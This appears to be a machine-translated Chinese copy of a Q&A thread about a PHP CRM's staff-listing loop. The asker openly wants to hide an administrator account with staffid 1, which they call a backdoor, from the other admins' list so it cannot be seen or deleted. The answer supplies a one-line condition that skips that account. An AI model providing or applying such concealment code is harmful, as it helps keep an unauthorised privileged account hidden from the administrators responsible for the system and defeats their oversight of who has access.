在foreach中删除一行

时间:2017-12-18 04:48:26

标签: php foreach row delete-row

我使用php CRM,以下代码导出数据库中所有用户的列表(此列表由管理员用户显示)

foreach ($rResult as $aRow) {
$row = array();
for ($i = 0; $i < count($aColumns); $i++) {
    if (strpos($aColumns[$i], 'as') !== false && !isset($aRow[$aColumns[$i]])) {
        $_data = $aRow[strafter($aColumns[$i], 'as ')];
    } else {
        $_data = $aRow[$aColumns[$i]];
    }
    if ($aColumns[$i] == 'last_login') {
        if ($_data != null) {
            $_data = time_ago($_data);
        } else {
            $_data = 'Never';
        }
    } elseif ($aColumns[$i] == 'active') {
        $checked = '';
        if ($aRow['active'] == 1) {
            $checked = 'checked';
        }

        $_data = '<div class="onoffswitch">
            <input type="checkbox" data-switch-url="'.admin_url().'staff/change_staff_status" name="onoffswitch" class="onoffswitch-checkbox" id="c_'.$aRow['staffid'].'" data-id="'.$aRow['staffid'].'" ' . $checked . '>
            <label class="onoffswitch-label" for="c_'.$aRow['staffid'].'"></label>
        </div>';

        // For exporting
        $_data .= '<span class="hide">' . ($checked == 'checked' ? _l('is_active_export') : _l('is_not_active_export')) . '</span>';
    } elseif ($aColumns[$i] == 'firstname') {
        $_data = '<a href="' . admin_url('staff/profile/' . $aRow['staffid']) . '">' . staff_profile_image($aRow['staffid'], array(
            'staff-profile-image-small'
            )) . '</a>';
        $_data .= ' <a href="' . admin_url('staff/member/' . $aRow['staffid']) . '">' . $aRow['firstname'] . ' ' . $aRow['lastname'] . '</a>';
    } elseif ($aColumns[$i] == 'email') {
        $_data = '<a href="mailto:' . $_data . '">' . $_data . '</a>';
    } else {
        if (strpos($aColumns[$i], 'date_picker_') !== false) {
            $_data = (strpos($_data, ' ') !== false ? _dt($_data) : _d($_data));
        }
    }
    $row[] = $_data;
}
$options = icon_btn('staff/member/' . $aRow['staffid'], 'pencil-square-o');
if (has_permission('staff', '', 'delete') && $output['iTotalRecords'] > 1 && $aRow['staffid'] != get_staff_user_id()) {
    $options .= icon_btn('#', 'remove', 'btn-danger', array(
        'onclick'=>'delete_staff_member('.$aRow['staffid'].'); return false;',
        ));
}
 $row[]              = $options;
 $output['aaData'][] = $row;
}

Ther是数据库中的5个管理员;

我想隐藏一个用 staffid = 1作为后门的用户。

如何使用此职员删除行?

(我不熟悉PHP编码)

由于

1 个答案:

答案 0 :(得分:0)

You can add an if() condition like below:-

foreach ($rResult as $aRow) {
  if($aRow['staffid'] !=1){
    //complete code inside if
  }
}

Note:- I assume that $aRow have staffid as an index